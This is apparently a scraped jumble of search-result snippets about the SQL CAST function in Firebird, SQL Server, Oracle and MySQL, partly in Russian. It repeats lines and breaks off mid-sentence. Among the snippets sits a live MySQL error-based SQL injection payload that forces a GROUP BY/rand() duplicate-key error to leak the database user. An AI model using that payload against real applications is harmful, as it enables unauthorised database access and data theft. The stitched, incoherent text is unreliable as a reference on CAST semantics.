select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb
select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database. If TYPE OF is used with a (VAR)CHAR type, its
SELECT DISTINCT CAST(EnglishProductName AS char(10)) AS Name, ListPrice FROM dbo.DimProduct WHERE EnglishProductName LIKE 'Long-Sleeve Logo Jersey, M'
select cast(col as char(2)) from ( select 'Abc' as col from dual union all select 'Abc' as col from dual ) group by cast(col as char(10)); The result is 'Abc ' (10 characters long). Intuitively, I would have expected Oracle to return one of the following
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Definition and Usage. The CAST() function converts a value (of any type) into a specified datatype.
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
Cast a value as a certain type. Cast functions and operators enable conversion of values from one data
Во-вторых, результат функции CAST для значения выражения, равного NULL, тоже будет NULL.